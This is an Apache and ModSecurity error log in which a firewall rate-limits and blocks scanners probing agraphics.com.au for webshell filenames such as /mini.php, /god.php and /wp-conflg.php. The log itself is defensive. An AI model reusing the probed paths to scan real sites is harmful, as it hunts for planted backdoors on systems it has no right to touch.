[Mon Mar 02 02:20:10.804270 2026] [:error] [pid 53585:tid 53600] [client 20.220.232.240:43938] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aaSDWnbCvYsvu6kKhM3E_QAAAAw"]
[Mon Mar 02 02:20:11.325910 2026] [:error] [pid 53182:tid 53548] [client 20.220.232.240:43669] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aaSDW_v073cA6eM1YCTpgAAAAMU"]
[Mon Mar 02 02:20:11.841683 2026] [:error] [pid 53585:tid 53608] [client 20.220.232.240:44005] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aaSDW3bCvYsvu6kKhM3FBAAAABQ"]
[Mon Mar 02 02:20:12.356698 2026] [:error] [pid 26940:tid 26956] [client 20.220.232.240:43666] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aaSDXBrUg-j5GLDtRFnhwwAAAEw"]
[Mon Mar 02 02:20:12.944247 2026] [:error] [pid 26940:tid 26944] [client 20.220.232.240:43913] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rtx.php"] [unique_id "aaSDXBrUg-j5GLDtRFnhxgAAAEA"]
[Mon Mar 02 02:20:13.714758 2026] [:error] [pid 53585:tid 53610] [client 20.220.232.240:43752] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rtx.php"] [unique_id "aaSDXXbCvYsvu6kKhM3FDAAAABY"]
[Mon Mar 02 02:20:14.233495 2026] [:error] [pid 53585:tid 53604] [client 20.220.232.240:43521] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rtx.php"] [unique_id "aaSDXnbCvYsvu6kKhM3FEQAAABA"]
[Mon Mar 02 02:20:15.108546 2026] [proxy_fcgi:error] [pid 53585:tid 53593] [client 20.220.232.240:43670] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:20:15.342089 2026] [proxy_fcgi:error] [pid 53585:tid 53598] [client 20.220.232.240:43670] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:20:15.588597 2026] [proxy_fcgi:error] [pid 53585:tid 53604] [client 20.220.232.240:43670] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:20:15.798309 2026] [proxy_fcgi:error] [pid 53585:tid 53594] [client 20.220.232.240:43670] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:20:16.006301 2026] [proxy_fcgi:error] [pid 53585:tid 53590] [client 20.220.232.240:43670] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:20:16.247733 2026] [proxy_fcgi:error] [pid 53585:tid 53606] [client 20.220.232.240:43670] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:20:16.455797 2026] [proxy_fcgi:error] [pid 53585:tid 53610] [client 20.220.232.240:43670] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:20:16.666077 2026] [proxy_fcgi:error] [pid 53585:tid 53598] [client 20.220.232.240:43670] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:20:16.873991 2026] [proxy_fcgi:error] [pid 53585:tid 53603] [client 20.220.232.240:43670] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:20:17.082103 2026] [proxy_fcgi:error] [pid 53585:tid 53596] [client 20.220.232.240:43670] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:20:17.291612 2026] [proxy_fcgi:error] [pid 53585:tid 53595] [client 20.220.232.240:43670] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 02:20:17.496256 2026] [:error] [pid 53585:tid 53612] [client 20.220.232.240:43670] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/god.php"] [unique_id "aaSDYXbCvYsvu6kKhM3FLAAAABg"]
[Mon Mar 02 02:20:18.092492 2026] [:error] [pid 53585:tid 53599] [client 20.220.232.240:43914] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/god.php"] [unique_id "aaSDYnbCvYsvu6kKhM3FMwAAAAs"]
[Mon Mar 02 02:20:18.617954 2026] [:error] [pid 53182:tid 53549] [client 20.220.232.240:43592] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/god.php"] [unique_id "aaSDYvv073cA6eM1YCTpkAAAAMY"]
[Mon Mar 02 02:20:19.269701 2026] [:error] [pid 53181:tid 53522] [client 20.220.232.240:43909] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/god.php"] [unique_id "aaSDY4r_0T1SazTrJOBQdwAAAQc"]
[Mon Mar 02 02:20:19.794224 2026] [:error] [pid 53585:tid 53593] [client 20.220.232.240:43943] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aaSDY3bCvYsvu6kKhM3FPgAAAAU"]
[Mon Mar 02 02:20:20.452088 2026] [:error] [pid 53585:tid 53595] [client 20.220.232.240:43870] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aaSDZHbCvYsvu6kKhM3FRAAAAAc"]
[Mon Mar 02 02:20:20.955320 2026] [:error] [pid 26940:tid 26946] [client 20.220.232.240:43700] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aaSDZBrUg-j5GLDtRFnh2gAAAEI"]
[Mon Mar 02 02:20:21.487760 2026] [:error] [pid 53182:tid 53562] [client 20.220.232.240:44020] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aaSDZfv073cA6eM1YCTpmAAAANI"]
[Mon Mar 02 02:20:22.084992 2026] [:error] [pid 53585:tid 53603] [client 20.220.232.240:43766] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz.php"] [unique_id "aaSDZnbCvYsvu6kKhM3FUgAAAA8"]
[Mon Mar 02 02:20:22.615202 2026] [:error] [pid 26940:tid 26954] [client 20.220.232.240:43922] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz.php"] [unique_id "aaSDZhrUg-j5GLDtRFnh4QAAAEo"]
[Mon Mar 02 02:20:23.238662 2026] [:error] [pid 53182:tid 53556] [client 20.220.232.240:43662] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz.php"] [unique_id "aaSDZ_v073cA6eM1YCTpnAAAAMw"]
[Mon Mar 02 02:20:23.885222 2026] [:error] [pid 53182:tid 53567] [client 20.220.232.240:43657] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz.php"] [unique_id "aaSDZ_v073cA6eM1YCTpngAAANc"]
[Mon Mar 02 02:20:24.391704 2026] [:error] [pid 26940:tid 26965] [client 20.220.232.240:43992] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aaSDaBrUg-j5GLDtRFnh8AAAAFU"]
[Mon Mar 02 02:20:24.822994 2026] [:error] [pid 53182:tid 53545] [client 20.220.232.240:43732] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aaSDaPv073cA6eM1YCTpowAAAMI"]
[Mon Mar 02 02:20:25.366051 2026] [:error] [pid 53180:tid 53449] [client 20.220.232.240:44023] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aaSDaTPPJpDOBvYnaa1nLgAAAYU"]
[Mon Mar 02 02:20:25.816178 2026] [:error] [pid 53585:tid 53591] [client 20.220.232.240:43536] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aaSDaXbCvYsvu6kKhM3FYQAAAAM"]
[Mon Mar 02 02:20:26.316922 2026] [:error] [pid 53182:tid 53550] [client 20.220.232.240:43678] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sdsa.php"] [unique_id "aaSDavv073cA6eM1YCTprQAAAMc"]
[Mon Mar 02 02:20:26.805210 2026] [:error] [pid 53182:tid 53556] [client 20.220.232.240:43694] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sdsa.php"] [unique_id "aaSDavv073cA6eM1YCTprwAAAMw"]
[Mon Mar 02 02:20:27.266605 2026] [:error] [pid 26940:tid 26952] [client 20.220.232.240:43919] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sdsa.php"] [unique_id "aaSDaxrUg-j5GLDtRFnh_AAAAEg"]
[Mon Mar 02 02:20:28.088020 2026] [:error] [pid 26940:tid 26964] [client 20.220.232.240:43925] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sdsa.php"] [unique_id "aaSDbBrUg-j5GLDtRFniBQAAAFQ"]
[Mon Mar 02 02:20:28.712149 2026] [:error] [pid 26940:tid 26947] [client 20.220.232.240:44025] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aaSDbBrUg-j5GLDtRFniCQAAAEM"]
[Mon Mar 02 02:20:29.350567 2026] [:error] [pid 26940:tid 26960] [client 20.220.232.240:43929] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aaSDbRrUg-j5GLDtRFniCwAAAFA"]
[Mon Mar 02 02:20:29.917831 2026] [:error] [pid 53181:tid 53518] [client 20.220.232.240:44002] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aaSDbYr_0T1SazTrJOBQiAAAAQQ"]
[Mon Mar 02 02:20:30.419190 2026] [:error] [pid 53585:tid 53609] [client 20.220.232.240:43764] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aaSDbnbCvYsvu6kKhM3FdAAAABU"]
[Mon Mar 02 02:20:30.986610 2026] [:error] [pid 53182:tid 53565] [client 20.220.232.240:44024] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-conflg.php"] [unique_id "aaSDbvv073cA6eM1YCTpvQAAANU"]
[Mon Mar 02 02:20:31.506108 2026] [:error] [pid 53585:tid 53588] [client 20.220.232.240:43848] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-conflg.php"] [unique_id "aaSDb3bCvYsvu6kKhM3FfgAAAAA"]
[Mon Mar 02 02:20:32.047195 2026] [:error] [pid 53585:tid 53592] [client 20.220.232.240:43593] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-conflg.php"] [unique_id "aaSDcHbCvYsvu6kKhM3FgAAAAAQ"]
[Mon Mar 02 02:20:32.580470 2026] [:error] [pid 53180:tid 53450] [client 20.220.232.240:43594] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-conflg.php"] [unique_id "aaSDcDPPJpDOBvYnaa1nNAAAAYY"]
[Mon Mar 02 02:20:33.131066 2026] [:error] [pid 53585:tid 53589] [client 20.220.232.240:43936] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/un.php"] [unique_id "aaSDcXbCvYsvu6kKhM3FgwAAAAE"]
[Mon Mar 02 02:20:33.672318 2026] [:error] [pid 53181:tid 53519] [client 20.220.232.240:43917] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/un.php"] [unique_id "aaSDcYr_0T1SazTrJOBQnAAAAQU"]
[Mon Mar 02 02:20:34.088093 2026] [:error] [pid 26940:tid 26956] [client 20.220.232.240:44027] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/un.php"] [unique_id "aaSDchrUg-j5GLDtRFniJgAAAEw"]
[Mon Mar 02 02:20:34.659137 2026] [:error] [pid 26940:tid 26945] [client 20.220.232.240:43856] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/un.php"] [unique_id "aaSDchrUg-j5GLDtRFniKwAAAEE"]
[Mon Mar 02 02:20:35.431559 2026] [:error] [pid 53180:tid 53462] [client 20.220.232.240:44011] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.kb.php"] [unique_id "aaSDczPPJpDOBvYnaa1nPQAAAZI"]
[Mon Mar 02 02:20:36.111749 2026] [:error] [pid 26940:tid 26949] [client 20.220.232.240:43935] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.kb.php"] [unique_id "aaSDdBrUg-j5GLDtRFniNgAAAEU"]
[Mon Mar 02 02:20:36.877127 2026] [:error] [pid 53585:tid 53592] [client 20.220.232.240:43955] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.kb.php"] [unique_id "aaSDdHbCvYsvu6kKhM3FpgAAAAQ"]
[Mon Mar 02 02:20:37.377148 2026] [:error] [pid 26940:tid 26964] [client 20.220.232.240:43978] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/100.kb.php"] [unique_id "aaSDdRrUg-j5GLDtRFniQQAAAFQ"]
[Mon Mar 02 02:20:37.915959 2026] [:error] [pid 26940:tid 26956] [client 20.220.232.240:43696] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aaSDdRrUg-j5GLDtRFniRAAAAEw"]
[Mon Mar 02 02:20:38.473706 2026] [:error] [pid 53585:tid 53596] [client 20.220.232.240:43664] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aaSDdnbCvYsvu6kKhM3FvwAAAAg"]
[Mon Mar 02 02:20:39.006572 2026] [:error] [pid 26940:tid 26967] [client 20.220.232.240:43663] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aaSDdxrUg-j5GLDtRFniUAAAAFc"]
[Mon Mar 02 02:20:39.523621 2026] [:error] [pid 53181:tid 53519] [client 20.220.232.240:43522] [client 20.220.232.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "aaSDd4r_0T1SazTrJOBQvAAAAQU"]
[Mon Mar 02 04:33:45.414114 2026] [:error] [pid 31257:tid 31276] [client 103.117.12.178:60229] [client 103.117.12.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.117.12.178, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaSiqf-JFLfishX45N_hzAAAAQ0"]
[Mon Mar 02 04:33:45.425722 2026] [proxy_fcgi:error] [pid 31257:tid 31276] [client 103.117.12.178:60229] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 04:49:55.868655 2026] [proxy_fcgi:error] [pid 28908:tid 28917] [client 20.104.97.185:18939] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 04:49:56.077321 2026] [proxy_fcgi:error] [pid 28908:tid 28929] [client 20.104.97.185:18939] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 04:49:56.665048 2026] [proxy_fcgi:error] [pid 28908:tid 28919] [client 20.104.97.185:18939] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 04:49:56.873025 2026] [proxy_fcgi:error] [pid 28908:tid 28912] [client 20.104.97.185:18939] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 04:49:57.289553 2026] [proxy_fcgi:error] [pid 28908:tid 28914] [client 20.104.97.185:18939] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 04:49:57.497386 2026] [proxy_fcgi:error] [pid 28908:tid 28911] [client 20.104.97.185:18939] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 04:49:57.705307 2026] [proxy_fcgi:error] [pid 28908:tid 28916] [client 20.104.97.185:18939] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 04:49:58.127622 2026] [:error] [pid 28908:tid 28910] [client 20.104.97.185:18939] [client 20.104.97.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaSmdoqJmC8ih_lQQnDNrwAAAMA"]
[Mon Mar 02 04:49:58.950178 2026] [:error] [pid 31257:tid 31270] [client 20.104.97.185:18895] [client 20.104.97.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaSmdv-JFLfishX45N_34AAAAQc"]
[Mon Mar 02 04:49:59.788588 2026] [:error] [pid 31257:tid 31274] [client 20.104.97.185:18899] [client 20.104.97.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaSmd_-JFLfishX45N_36QAAAQs"]
